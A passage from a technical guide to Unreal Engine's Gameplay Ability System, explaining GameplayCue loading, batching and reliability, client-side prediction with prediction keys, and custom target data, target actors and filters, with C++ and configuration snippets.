An alternative to async loading every `GameplayCue` on startup is to only async load `GameplayCues` as they're triggered in-game. This mitigates the unnecessary memory usage and potential game hard freezes while async loading every `GameplayCue` in exchange for potentially delayed effects for the first time that a specific `GameplayCue` is triggered during play. This potential delay is nonexistent for SSDs. I have not tested on a HDD. If using this option in the UE Editor, there may be slight hitches or freezes during the first load of GameplayCues if the Editor needs to compile particle systems. This is not an issue in builds as the particle systems will already be compiled.
First we must subclass `UGameplayCueManager` and tell the `AbilitySystemGlobals` class to use our `UGameplayCueManager` subclass in `DefaultGame.ini`.
```
[/Script/GameplayAbilities.AbilitySystemGlobals]
GlobalGameplayCueManagerClass="/Script/ParagonAssets.PBGameplayCueManager"
```
In our `UGameplayCueManager` subclass, override `ShouldAsyncLoadRuntimeObjectLibraries()`.
```c++
virtual bool ShouldAsyncLoadRuntimeObjectLibraries() const override
{
return false;
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-prevention"></a>
#### 4.8.6 Prevent Gameplay Cues from Firing
Sometimes we don't want `GameplayCues` to fire. For example if we block an attack, we may not want to play the hit impact attached to the damage `GameplayEffect` or play a custom one instead. We can do this inside of [`GameplayEffectExecutionCalculations`](#concepts-ge-ec) by calling `OutExecutionOutput.MarkGameplayCuesHandledManually()` and then manually sending our `GameplayCue` event to the `Target` or `Source's` `ASC`.
If you never want any `GameplayCues` to fire on a specific `ASC`, you can set `AbilitySystemComponent->bSuppressGameplayCues = true;`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-batching"></a>
#### 4.8.7 Gameplay Cue Batching
Each `GameplayCue` triggered is an unreliable NetMulticast RPC. In situations where we fire multiple `GCs` at the same time, there are a few optimization methods to condense them down into one RPC or save bandwidth by sending less data.
<a name="concepts-gc-batching-manualrpc"></a>
##### 4.8.7.1 Manual RPC
Say you have a shotgun that shoots eight pellets. That's eight trace and impact `GameplayCues`. [GASShooter](https://github.com/tranek/GASShooter) takes the lazy approach of combining them into one RPC by stashing all of the trace information into the [`EffectContext`](#concepts-ge-ec) as [`TargetData`](#concepts-targeting-data). While this reduces the RPCs from eight to one, it still sends a lot of data over the network in that one RPC (~500 bytes). A more optimized approach is to send an RPC with a custom struct where you efficiently encode the hit locations or maybe you give it a random seed number to recreate/approximate the impact locations on the receiving side. The clients would then unpack this custom struct and turn back into [locally executed `GameplayCues`](#concepts-gc-local).
How this works:
1. Declare a `FScopedGameplayCueSendContext`. This suppresses `UGameplayCueManager::FlushPendingCues()` until it falls out of scope, meaning all `GameplayCues` will be queued up until the `FScopedGameplayCueSendContext` falls out of scope.
1. Override `UGameplayCueManager::FlushPendingCues()` to merge `GameplayCues` that can be batched together based on some custom `GameplayTag` into your custom struct and RPC it to clients.
1. Clients receive the custom struct and unpack it into locally executed `GameplayCues`.
This method can also be used when you need specific parameters for your `GameplayCues` that don't fit with what `GameplayCueParameters` offer and you don't want to add them to the `EffectContext` like damage numbers, crit indicator, broken shield indicator, was fatal hit indicator, etc.
https://forums.unrealengine.com/development-discussion/c-gameplay-programming/1711546-fscopedgameplaycuesendcontext-gameplaycuemanager
<a name="concepts-gc-batching-gcsonge"></a>
##### 4.8.7.2 Multiple GCs on one GE
All of the `GameplayCues` on a `GameplayEffect` are sent in one RPC already. By default, `UGameplayCueManager::InvokeGameplayCueAddedAndWhileActive_FromSpec()` will send the whole `GameplayEffectSpec` (but converted to `FGameplayEffectSpecForRPC`) in the unreliable NetMulticast regardless of the `ASC`'s `Replication Mode`. This could potentially be a lot of bandwidth depending on what is in the `GameplayEffectSpec`. We can potentially optimize this by setting the cvar `AbilitySystem.AlwaysConvertGESpecToGCParams 1`. This will convert `GameplayEffectSpecs` to `FGameplayCueParameter` structures and RPC those instead of the whole `FGameplayEffectSpecForRPC`. This potentially saves bandwidth but also has less information, depending on how the `GESpec` is converted to `GameplayCueParameters` and what your `GCs` need to know.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-events"></a>
#### 4.8.8 Gameplay Cue Events
`GameplayCues` respond to specific `EGameplayCueEvents`:
| `EGameplayCueEvent` | Description |
| ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `OnActive` | Called when a `GameplayCue` is activated (added). |
| `WhileActive` | Called when `GameplayCue` is active, even if it wasn't actually just applied (Join in progress, etc). This is not `Tick`! It's called once just like `OnActive` when a `GameplayCueNotify_Actor` is added or becomes relevant. If you need `Tick()`, just use the `GameplayCueNotify_Actor`'s `Tick()`. It's an `AActor` after all. |
| `Removed` | Called when a `GameplayCue` is removed. The Blueprint `GameplayCue` function that responds to this event is `OnRemove`. |
| `Executed` | Called when a `GameplayCue` is executed: instant effects or periodic `Tick()`. The Blueprint `GameplayCue` function that responds to this event is `OnExecute`. |
Use `OnActive` for anything in your `GameplayCue` that happen at the start of the `GameplayCue` but is okay if late joiners miss. Use `WhileActive` for ongoing effects in the `GameplayCue` that you would want late joiners to see. For example, if you have a `GameplayCue` for a tower structure in a MOBA exploding, you would put the initial explosion particle system and explosion sound in `OnActive` and you would put any residual ongoing fire particles or sounds in the `WhileActive`. In this scenario, it wouldn't make sense for late joiners to replay the initial explosion from `OnActive`, but you would want them to see the persistent, looping fire effects on the ground after the explosion happened from `WhileActive`. `OnRemove` should clean up anything added in `OnActive` and `WhileActive`. `WhileActive` will be called every time an Actor enters the relevancy range of a `GameplayCueNotify_Actor`. `OnRemove` will be called every time an Actor leaves relevancy range of a `GameplayCueNotify_Actor`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-reliability"></a>
#### 4.8.9 Gameplay Cue Reliability
`GameplayCues` in general should be considered unreliable and thus unsuited for anything that directly affects gameplay.
**Executed `GameplayCues`:** These `GameplayCues` are applied via unreliable multicasts and are always unreliable.
**`GameplayCues` applied from `GameplayEffects`:**
* Autonomous proxy reliably receives `OnActive`, `WhileActive`, and `OnRemove`
`FActiveGameplayEffectsContainer::NetDeltaSerialize()` calls `UAbilitySystemComponent::HandleDeferredGameplayCues()` to call `OnActive` and `WhileActive`. `FActiveGameplayEffectsContainer::RemoveActiveGameplayEffectGrantedTagsAndModifiers()` makes the call to `OnRemoved`.
* Simulated proxies reliably receive `WhileActive` and `OnRemove`
`UAbilitySystemComponent::MinimalReplicationGameplayCues`'s replication calls `WhileActive` and `OnRemove`. The `OnActive` event is called by an unreliable multicast.
**`GameplayCues` applied without a `GameplayEffect`:**
* Autonomous proxy reliably receives `OnRemove`
The `OnActive` and `WhileActive` events are called by an unreliable multicast.
* Simulated proxies reliably receive `WhileActive` and `OnRemove`
`UAbilitySystemComponent::MinimalReplicationGameplayCues`'s replication calls `WhileActive` and `OnRemove`. The `OnActive` event is called by an unreliable multicast.
If you need something in a `GameplayCue` to be 'reliable', then apply it from a `GameplayEffect` and use `WhileActive` to add the FX and `OnRemove` to remove the FX.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-asg"></a>
### 4.9 Ability System Globals
The [`AbilitySystemGlobals`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UAbilitySystemGlobals/index.html) class holds global information about GAS. Most of the variables can be set from the `DefaultGame.ini`. Generally you won't have to interact with this class, but you should be aware of its existence. If you need to subclass things like the [`GameplayCueManager`](#concepts-gc-manager) or the [`GameplayEffectContext`](#concepts-ge-context), you have to do that through the `AbilitySystemGlobals`.
To subclass `AbilitySystemGlobals`, set the class name in the `DefaultGame.ini`:
```
[/Script/GameplayAbilities.AbilitySystemGlobals]
AbilitySystemGlobalsClassName="/Script/ParagonAssets.PAAbilitySystemGlobals"
```
<a name="concepts-asg-initglobaldata"></a>
#### 4.9.1 InitGlobalData()
Starting in UE 4.24, it is now necessary to call `UAbilitySystemGlobals::Get().InitGlobalData()` to use [`TargetData`](#concepts-targeting-data), otherwise you will get errors related to `ScriptStructCache` and clients will be disconnected from the server. This function only needs to be called once in a project. Fortnite calls it from `UAssetManager::StartInitialLoading()` and Paragon called it from `UEngine::Init()`. I find that putting it in `UAssetManager::StartInitialLoading()` is a good place as shown in the Sample Project. I would consider this boilerplate code that you should copy into your project to avoid issues with `TargetData`.
If you run into a crash while using the `AbilitySystemGlobals` `GlobalAttributeSetDefaultsTableNames`, you may need to call `UAbilitySystemGlobals::Get().InitGlobalData()` later like Fortnite in the `AssetManager` or in the `GameInstance`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-p"></a>
### 4.10 Prediction
GAS comes out of the box with support for client-side prediction; however, it does not predict everything. Client-side prediction in GAS means that the client does not have to wait for the server's permission to activate a `GameplayAbility` and apply `GameplayEffects`. It can "predict" the server giving it permission to do this and predict the targets that it would apply `GameplayEffects` to. The server then runs the `GameplayAbility` network latency-time after the client activates and tells the client if he was correct or not in his predictions. If the client was wrong in any of his predictions, he will "roll back" his changes from his "mispredictions" to match the server.
The definitive source for GAS-related prediction is `GameplayPrediction.h` in the plugin source code.
Epic's mindset is to only predict what you "can get away with". For example, Paragon and Fortnite do not predict damage. Most likely they use [`ExecutionCalculations`](#concepts-ge-ec) for their damage which cannot be predicted anyway. This is not to say that you can't try to predict certain things like damage. By all means if you do it and it works well for you then that's great.
> ... we are also not all in on a "predict everything: seamlessly and automatically" solution. We still feel player prediction is best kept to a minimum (meaning: predict the minimum amount of stuff you can get away with).
*<NAME> from Epic's comment from the new [Network Prediction Plugin](#concepts-p-npp)*
**What is predicted:**
> * Ability activation
> * Triggered Events
> * GameplayEffect application:
> * Attribute modification (EXCEPTIONS: Executions do not currently predict, only attribute modifiers)
> * GameplayTag modification
> * Gameplay Cue events (both from within predictive gameplay effect and on their own)
> * Montages
> * Movement (built into UE5 UCharacterMovement)
**What is not predicted:**
> * GameplayEffect removal
> * GameplayEffect periodic effects (dots ticking)
*From `GameplayPrediction.h`*
While we can predict `GameplayEffect` application, we cannot predict `GameplayEffect` removal. One way that we can work around this limitation is to predict the inverse effect when we want to remove a `GameplayEffect`. Say we predict a movement speed slow of 40%. We can predictively remove it by applying a movement speed buff of 40%. Then remove both `GameplayEffects` at the same time. This is not appropriate for every scenario and support for predicting `GameplayEffect` removal is still needed. <NAME> from Epic has expressed desire to add it to a [future iteration of GAS](https://epicgames.ent.box.com/s/m1egifkxv3he3u3xezb9hzbgroxyhx89).
Because we cannot predict the removal of `GameplayEffects`, we cannot fully predict `GameplayAbility` cooldowns and there is no inverse `GameplayEffect` workaround for them. The server's replicated `Cooldown GE` will exist on the client and any attempts to bypass this (with `Minimal` replication mode for example) will be rejected by the server. This means clients with higher latencies take longer to tell the server to go on cooldown and to receive the removal of the server's `Cooldown GE`. This means players with higher latencies will have a lower rate of fire than players with lower latencies, giving them a disadvantage against lower latency players. Fortnite avoids this issue by using custom bookkeeping instead of `Cooldown GEs`.
Regarding predicting damage, I personally do not recommend it despite it being one of the first things that most people try when starting with GAS. I especially do not recommend trying to predict death. While you can predict damage, doing so is tricky. If you mispredict applying damage, the player will see the enemy's health jump back up. This can be especially awkward and frustrating if you try to predict death. Say you mispredict a `Character's` death and it starts ragdolling only to stop ragdolling and continue shooting at you when the server corrects it.
**Note:** `Instant` `GameplayEffects` (like `Cost GEs`) that change `Attributes` can be predicted on yourself seamlessly, predicting `Instant` `Attribute` changes to other characters will show a brief anomaly or "blip" in their `Attributes`. Predicted `Instant` `GameplayEffects` are actually treated like `Infinite` `GameplayEffects` so that they can be rolled back if mispredicted. When the server's `GameplayEffect` is applied, there potentially exists two of the same `GameplayEffect's` causing the `Modifier` to be applied twice or not at all for a brief moment. It will eventually correct itself but sometimes the blip is noticeable to players.
Problems that GAS's prediction implementation is trying to solve:
> 1. "Can I do this?" Basic protocol for prediction.
> 2. "Undo" How to undo side effects when a prediction fails.
> 3. "Redo" How to avoid replaying side effects that we predicted locally but that also get replicated from the server.
> 4. "Completeness" How to be sure we /really/ predicted all side effects.
> 5. "Dependencies" How to manage dependent prediction and chains of predicted events.
> 6. "Override" How to override state predictively that is otherwise replicated/owned by the server.
*From `GameplayPrediction.h`*
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-p-key"></a>
#### 4.10.1 Prediction Key
GAS's prediction works on the concept of a `Prediction Key` which is an integer identifier that the client generates when he activates a `GameplayAbility`.
* Client generates a prediction key when it activates a `GameplayAbility`. This is the `Activation Prediction Key`.
* Client sends this prediction key to the server with `CallServerTryActivateAbility()`.
* Client adds this prediction key to all `GameplayEffects` that it applies while the prediction key is valid.
* Client's prediction key falls out of scope. Further predicted effects in the same `GameplayAbility` need a new [Scoped Prediction Window](#concepts-p-windows).
* Server receives the prediction key from the client.
* Server adds this prediction key to all `GameplayEffects` that it applies.
* Server replicates the prediction key back to the client.
* Client receives replicated `GameplayEffects` from the server with the prediction key used to apply them. If any of the replicated `GameplayEffects` match the `GameplayEffects` that the client applied with the same prediction key, they were predicted correctly. There will temporarily be two copies of the `GameplayEffect` on the target until the client removes its predicted one.
* Client receives the prediction key back from the server. This is the `Replicated Prediction Key`. This prediction key is now marked stale.
* Client removes **all** `GameplayEffects` that it created with the now stale replicated prediction key. `GameplayEffects` replicated by the server will persist. Any `GameplayEffects` that the client added and didn't receive a matching replicated version from the server were mispredicted.
Prediction keys are guaranteed to be valid during an atomic grouping of instructions "window" in `GameplayAbilities` starting with `Activation` from the activation prediction key. You can think of this as being only valid during one frame. Any callbacks from latent action `AbilityTasks` will no longer have a valid prediction key unless the `AbilityTask` has a built-in Synch Point which generates a new [Scoped Prediction Window](#concepts-p-windows).
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-p-windows"></a>
#### 4.10.2 Creating New Prediction Windows in Abilities
To predict more actions in callbacks from `AbilityTasks`, we need to create a new Scoped Prediction Window with a new Scoped Prediction Key. This is sometimes referred to as a Synch Point between the client and server. Some `AbilityTasks` like all of the input related ones come with built-in functionality to create a new scoped prediction window, meaning atomic code in the `AbilityTasks'` callbacks have a valid scoped prediction key to use. Other tasks like the `WaitDelay` task do not have built-in code to create a new scoped prediction window for its callback. If you need to predict actions after an `AbilityTask` that does not have built-in code to create a scoped prediction window like `WaitDelay`, we must manually do that using the `WaitNetSync` `AbilityTask` with the option `OnlyServerWait`. When the client hits a `WaitNetSync` with `OnlyServerWait`, it generates a new scoped prediction key based on the `GameplayAbility's` activation prediction key, RPCs it to the server, and adds it to any new `GameplayEffects` that it applies. When the server hits a `WaitNetSync` with `OnlyServerWait`, it waits until it receives the new scoped prediction key from the client before continuing. This scoped prediction key does the same dance as activation prediction keys - applied to `GameplayEffects` and replicated back to clients to be marked stale. The scoped prediction key is valid until it falls out of scope, meaning the scoped prediction window has closed. So again, only atomic operations, nothing latent, can use the new scoped prediction key.
You can create as many scoped prediction windows as you need.
If you would like to add the synch point functionality to your own custom `AbilityTasks`, look at how the input ones essentially inject the `WaitNetSync` `AbilityTask` code into them.
**Note:** When using `WaitNetSync`, this does block the server's `GameplayAbility` from continuing execution until it hears from the client. This could potentially be abused by malicious users who hack the game and intentionally delay sending their new scoped prediction key. While Epic uses the `WaitNetSync` sparingly, it recommends potentially building a new version of the `AbilityTask` with a delay that automatically continues without the client if this is a concern for you.
The Sample Project uses `WaitNetSync` in the Sprint `GameplayAbility` to create a new scoped prediction window every time we apply the stamina cost so that we can predict it. Ideally we want a valid prediction key when applying costs and cooldowns.
If you have a predicted `GameplayEffect` that is playing twice on the owning client, your prediction key is stale and you're experiencing the "redo" problem. You can usually solve this by putting a `WaitNetSync` `AbilityTask` with `OnlyServerWait` right before you apply the `GameplayEffect` to create a new scoped prediction key.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-p-spawn"></a>
#### 4.10.3 Predictively Spawning Actors
Spawning `Actors` predictively on clients is an advanced topic. GAS does not provide functionality to handle this out of the box (the `SpawnActor` `AbilityTask` only spawns the `Actor` on the server). The key concept is to spawn a replicated `Actor` on both the client and the server.
If the `Actor` is just cosmetic or doesn't serve any gameplay purpose, the simple solution is to override the `Actor's` `IsNetRelevantFor()` function to restrict the server from replicating to the owning client. The owning client would have his locally spawned version and the server and other clients would have the server's replicated version.
```c++
bool APAReplicatedActorExceptOwner::IsNetRelevantFor(const AActor * RealViewer, const AActor * ViewTarget, const FVector & SrcLocation) const
{
return !IsOwnedBy(ViewTarget);
}
```
If the spawned `Actor` affects gameplay like a projectile that needs to predict damage, then you need advanced logic that is outside of the scope of this documentation. Look at how UnrealTournament predictively spawns projectiles on Epic Games' GitHub. They have a dummy projectile spawned only on the owning client that synchs up with the server's replicated projectile.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-p-future"></a>
#### 4.10.4 Future of Prediction in GAS
`GameplayPrediction.h` states in the future they could potentially add functionality for predicting `GameplayEffect` removal and periodic `GameplayEffects`.
<NAME> from Epic has [expressed interest](https://epicgames.ent.box.com/s/m1egifkxv3he3u3xezb9hzbgroxyhx89) in fixing the `latency reconciliation` problem for predicting cooldowns, disadvantaging players with higher latencies versus players with lower latencies.
The new [`Network Prediction` plugin](#concepts-p-npp) by Epic is expected to be fully interoperable with the GAS like the `CharacterMovementComponent` *was* before it.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-p-npp"></a>
#### 4.10.5 Network Prediction Plugin
Epic recently started an initiative to replace the `CharacterMovementComponent` with a new `Network Prediction` plugin. This plugin is still in its very early stages but is available to very early access on the Unreal Engine GitHub. It's too soon to tell which future version of the Engine that it will make its experimental beta debut in.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-targeting"></a>
### 4.11 Targeting
<a name="concepts-targeting-data"></a>
#### 4.11.1 Target Data
[`FGameplayAbilityTargetData`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/Abilities/FGameplayAbilityTargetData/index.html) is a generic structure for targeting data meant to be passed across the network. `TargetData` will typically hold `AActor`/`UObject` references, `FHitResults`, and other generic location/direction/origin information. However, you can subclass it to put essentially anything that you want inside of them as a simple means to [pass data between the client and server in `GameplayAbilities`](#concepts-ga-data). The base struct `FGameplayAbilityTargetData` is not meant to be used directly but instead subclassed. `GAS` comes with a few subclassed `FGameplayAbilityTargetData` structs out of the box located in `GameplayAbilityTargetTypes.h`.
`TargetData` is typically produced by [`Target Actors`](#concepts-targeting-actors) or **created manually** and consumed by [`AbilityTasks`](#concepts-at) and [`GameplayEffects`](#concepts-ge) via the [`EffectContext`](#concepts-ge-context). As a result of being in the `EffectContext`, [`Executions`](#concepts-ge-ec), [`MMCs`](#concepts-ge-mmc), [`GameplayCues`](#concepts-gc), and the functions on the backend of the [`AttributeSet`](#concepts-as) can access the `TargetData`.
We don't typically pass around the `FGameplayAbilityTargetData` directly, instead we use a [`FGameplayAbilityTargetDataHandle`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/Abilities/FGameplayAbilityTargetDataHandle/index.html) which has an internal TArray of pointers to `FGameplayAbilityTargetData`. This intermediate struct provides support for polymorphism of the `TargetData`.
An example of inheritting from `FGameplayAbilityTargetData`:
```c++
USTRUCT(BlueprintType)
struct MYGAME_API FGameplayAbilityTargetData_CustomData : public FGameplayAbilityTargetData
{
GENERATED_BODY()
public:
FGameplayAbilityTargetData_CustomData()
{ }
UPROPERTY()
FName CoolName = NAME_None;
UPROPERTY()
FPredictionKey MyCoolPredictionKey;
// This is required for all child structs of FGameplayAbilityTargetData
virtual UScriptStruct* GetScriptStruct() const override
{
return FGameplayAbilityTargetData_CustomData::StaticStruct();
}
// This is required for all child structs of FGameplayAbilityTargetData
bool NetSerialize(FArchive& Ar, class UPackageMap* Map, bool& bOutSuccess)
{
// The engine already defined NetSerialize for FName & FPredictionKey, thanks Epic!
CoolName.NetSerialize(Ar, Map, bOutSuccess);
MyCoolPredictionKey.NetSerialize(Ar, Map, bOutSuccess);
bOutSuccess = true;
return true;
}
}
template<>
struct TStructOpsTypeTraits<FGameplayAbilityTargetData_CustomData> : public TStructOpsTypeTraitsBase2<FGameplayAbilityTargetData_CustomData>
{
enum
{
WithNetSerializer = true // This is REQUIRED for FGameplayAbilityTargetDataHandle net serialization to work
};
};
```
For adding the target data to a handle:
```c++
UFUNCTION(BlueprintPure)
FGameplayAbilityTargetDataHandle MakeTargetDataFromCustomName(const FName CustomName)
{
// Create our target data type,
// Handle's automatically cleanup and delete this data when the handle is destructed,
// if you don't add this to a handle then be careful because this deals with memory management and memory leaks so its safe to just always add it to a handle at some point in the frame!
FGameplayAbilityTargetData_CustomData* MyCustomData = new FGameplayAbilityTargetData_CustomData();
// Setup the struct's information to use the inputted name and any other changes we may want to do
MyCustomData->CoolName = CustomName;
// Make our handle wrapper for Blueprint usage
FGameplayAbilityTargetDataHandle Handle;
// Add the target data to our handle
Handle.Add(MyCustomData);
// Output our handle to Blueprint
return Handle
}
```
For getting values it requires doing type safety checking, because the only way to get values from the handle's target data is by using generic C/C++ casting for it which is *NOT* type safe which can cause object slicing and crashes. For type checking there are multiple ways of doing this(however you want honestly) two common ways are:
- Gameplay Tag(s): You can use a subclass hierarchy where you know that anytime a certain code architecture's functionality occurs, you can cast for the base parent type and get its gameplay tag(s) and then compare against those for casting for inherited classes.
- Script Struct & Static Structs: You can instead do direct class comparison(which can involve a lot of IF statements or making some template functions), below is an example of doing this but basically you can get the script struct from any `FGameplayAbilityTargetData`(this is a nice advantage of it being a `USTRUCT` and requiring any inherited classes to specify the struct type in `GetScriptStruct`) and compare if its the type you're looking for. Below is an example of using these functions for type checking:
```c++
UFUNCTION(BlueprintPure)
FName GetCoolNameFromTargetData(const FGameplayAbilityTargetDataHandle& Handle, const int Index)
{
// NOTE, there is two versions of this '::Get(int32 Index)' function;
// 1) const version that returns 'const FGameplayAbilityTargetData*', good for reading target data values
// 2) non-const version that returns 'FGameplayAbilityTargetData*', good for modifying target data values
FGameplayAbilityTargetData* Data = Handle.Get(Index); // This will valid check the index for you
// Valid check we have something to use, null data means nothing to cast for
if(Data == nullptr)
{
return NAME_None;
}
// This is basically the type checking pass, static_cast does not have type safety, this is why we do this check.
// If we don't do this then it will object slice the struct and thus we have no way of making sure its that type.
if(Data->GetScriptStruct() == FGameplayAbilityTargetData_CustomData::StaticStruct())
{
// Here is when you would do the cast because we know its the correct type already
FGameplayAbilityTargetData_CustomData* CustomData = static_cast<FGameplayAbilityTargetData_CustomData*>(Data);
return CustomData->CoolName;
}
return NAME_None;
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-targeting-actors"></a>
#### 4.11.2 Target Actors
`GameplayAbilities` spawn [`TargetActors`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/Abilities/AGameplayAbilityTargetActor/index.html) with the `WaitTargetData` `AbilityTask` to visualize and capture targeting information from the world. `TargetActors` may optionally use [`GameplayAbilityWorldReticles`](#concepts-targeting-reticles) to display current targets. Upon confirmation, the targeting information is returned as [`TargetData`](#concepts-targeting-data) which can then be passed into `GameplayEffects`.
`TargetActors` are based on `AActor` so they can have any kind of visible component to represent **where** and **how** they are targeting such as static meshes or decals. Static meshes may be used to visualize placement of an object that your character will build. Decals may be used to show an area of effect on the ground. The Sample Project uses [`AGameplayAbilityTargetActor_GroundTrace`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/Abilities/AGameplayAbilityTargetActor_Grou-/index.html) with a decal on the ground to represent the damage area of effect for the Meteor ability. They also don't need to display anything either. For example it wouldn't make sense to display anything for a hitscan gun that instantly traces a line to its target as used in [GASShooter](https://github.com/tranek/GASShooter).
They capture targeting information using basic traces or collision overlaps and convert the results as `FHitResults` or `AActor` arrays to `TargetData` depending on the `TargetActor` implementation. The `WaitTargetData` `AbilityTask` determines when the targets are confirmed through its `TEnumAsByte<EGameplayTargetingConfirmation::Type> ConfirmationType` parameter. When **not** using `TEnumAsByte<EGameplayTargetingConfirmation::Type::Instant`, the `TargetActor` typically performs the trace/overlap on `Tick()` and updates its location to the `FHitResult` depending on its implementation. While this performs a trace/overlap on `Tick()`, it's generally not terrible since it's not replicated and you typically don't have more than one (although you could have more) `TargetActor` running at a time. Just be aware that it uses `Tick()` and some complex `TargetActors` might do a lot on it like the rocket launcher's secondary ability in GASShooter. While tracing on `Tick()` is very responsive to the client, you may consider lowering the tick rate on the `TargetActor` if the performance hit is too much. In the case of `TEnumAsByte<EGameplayTargetingConfirmation::Type::Instant`, the `TargetActor` immediately spawns, produces `TargetData`, and destroys. `Tick()` is never called.
| `EGameplayTargetingConfirmation::Type` | When targets are confirmed |
| -------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Instant` | The targeting happens instantly without special logic or user input deciding when to 'fire'. |
| `UserConfirmed` | The targeting happens when the user confirms the targeting when the [ability is bound to a `Confirm` input](#concepts-ga-input) or by calling `UAbilitySystemComponent::TargetConfirm()`. The `TargetActor` will also respond to a bound `Cancel` input or call to `UAbilitySystemComponent::TargetCancel()` to cancel targeting. |
| `Custom` | The GameplayTargeting Ability is responsible for deciding when the targeting data is ready by calling `UGameplayAbility::ConfirmTaskByInstanceName()`. The `TargetActor` will also respond to `UGameplayAbility::CancelTaskByInstanceName()` to cancel targeting. |
| `CustomMulti` | The GameplayTargeting Ability is responsible for deciding when the targeting data is ready by calling `UGameplayAbility::ConfirmTaskByInstanceName()`. The `TargetActor` will also respond to `UGameplayAbility::CancelTaskByInstanceName()` to cancel targeting. Should not end the `AbilityTask` upon data production. |
Not every EGameplayTargetingConfirmation::Type is supported by every `TargetActor`. For example, `AGameplayAbilityTargetActor_GroundTrace` does not support `Instant` confirmation.
The `WaitTargetData` `AbilityTask` takes in a `AGameplayAbilityTargetActor` class as a parameter and will spawn an instance on each activation of the `AbilityTask` and will destroy the `TargetActor` when the `AbilityTask` ends. The `WaitTargetDataUsingActor` `AbilityTask` takes in an already spawned `TargetActor`, but still destroys it when the `AbilityTask` ends. Both of these `AbilityTasks` are inefficient in that they either spawn or require a newly spawned `TargetActor` for each use. They're great for prototyping, but in production you might explore optimizing it if you have cases where you are constantly producing `TargetData` like in the case of an automatic rifle. GASShooter has a custom subclass of [`AGameplayAbilityTargetActor`](https://github.com/tranek/GASShooter/blob/master/Source/GASShooter/Public/Characters/Abilities/GSGATA_Trace.h) and a new [`WaitTargetDataWithReusableActor`](https://github.com/tranek/GASShooter/blob/master/Source/GASShooter/Public/Characters/Abilities/AbilityTasks/GSAT_WaitTargetDataUsingActor.h) `AbilityTask` written from scratch that allows you to reuse a `TargetActor` without destroying it.
`TargetActors` are not replicated by default; however, they can be made to replicate if that makes sense in your game to show other players where the local player is targeting. They do include default functionality to communicate with the server via RPCs on the `WaitTargetData` `AbilityTask`. If the `TargetActor`'s `ShouldProduceTargetDataOnServer` property is set to `false`, then the client will RPC its `TargetData` to the server on confirmation via `CallServerSetReplicatedTargetData()` in `UAbilityTask_WaitTargetData::OnTargetDataReadyCallback()`. If `ShouldProduceTargetDataOnServer` is `true`, the client will send a generic confirm event, `EAbilityGenericReplicatedEvent::GenericConfirm`, RPC to the server in `UAbilityTask_WaitTargetData::OnTargetDataReadyCallback()` and the server will do the trace or overlap check upon receiving the RPC to produce data on the server. If the client cancels the targeting, it will send a generic cancel event, `EAbilityGenericReplicatedEvent::GenericCancel`, RPC to the server in `UAbilityTask_WaitTargetData::OnTargetDataCancelledCallback`. As you can see, there are a lot of delegates on both the `TargetActor` and the `WaitTargetData` `AbilityTask`. The `TargetActor` responds to inputs to produce and broadcast `TargetData` ready, confirm, or cancel delegates. `WaitTargetData` listens to the `TargetActor`'s `TargetData` ready, confirm, and cancel delegates and relays that information back to the `GameplayAbility` and to the server. If you send `TargetData` to the server, you may want to do validation on the server to make sure the `TargetData` looks reasonable to prevent cheating. Producing the `TargetData` directly on the server avoids this issue entirely, but will potentially lead to mispredictions for the owning client.
Depending on the particular subclass of `AGameplayAbilityTargetActor` that you use, different `ExposeOnSpawn` parameters will be exposed on the `WaitTargetData` `AbilityTask` node. Some common parameters include:
| Common `TargetActor` Parameters | Definition |
| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Debug | If `true`, it will draw debug tracing/overlapping information whenever the `TargetActor` performs a trace in non-shipping builds. Remember, non-`Instant` `TargetActors` will perform a trace on `Tick()` so these debug draw calls will also happen on `Tick()`. |
| Filter | [Optional] A special struct for filtering out (removing) `Actors` from the targets when the trace/overlap happens. Typical use cases are to filter out the player's `Pawn`, require targets be of a specific class. See [Target Data Filters](#concepts-target-data-filters) for more advanced use cases. |
| Reticle Class | [Optional] Subclass of `AGameplayAbilityWorldReticle` that the `TargetActor` will spawn. |
| Reticle Parameters | [Optional] Configure your Reticles. See [Reticles](#concepts-targeting-reticles). |
| Start Location | A special struct for where tracing should start from. Typically this will be the player's viewpoint, a weapon muzzle, or the `Pawn`'s location. |
With the default `TargetActor` classes, `Actors` are only valid targets when they are directly in the trace/overlap. If they leave the trace/overlap (they move or you look away), they are no longer valid. If you want the `TargetActor` to remember the last valid target(s), you will need to add this functionality to a custom `TargetActor` class. I refer to these as persistent targets as they will persist until the `TargetActor` receives confirmation or cancellation, the `TargetActor` finds a new valid target in its trace/overlap, or the target is no longer valid (destroyed). GASShooter uses persistent targets for its rocket launcher's secondary ability's homing rockets targeting.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-target-data-filters"></a>
#### 4.11.3 Target Data Filters
Using both the `Make GameplayTargetDataFilter` and `Make Filter Handle` nodes, you can filter out the player's `Pawn` or select only a specific class. If you need more advanced filtering, you can subclass `FGameplayTargetDataFilter` and override the `FilterPassesForActor` function.
```c++
USTRUCT(BlueprintType)
struct GASDOCUMENTATION_API FGDNameTargetDataFilter : public FGameplayTargetDataFilter
{
GENERATED_BODY()
/** Returns true if the actor passes the filter and will be targeted */
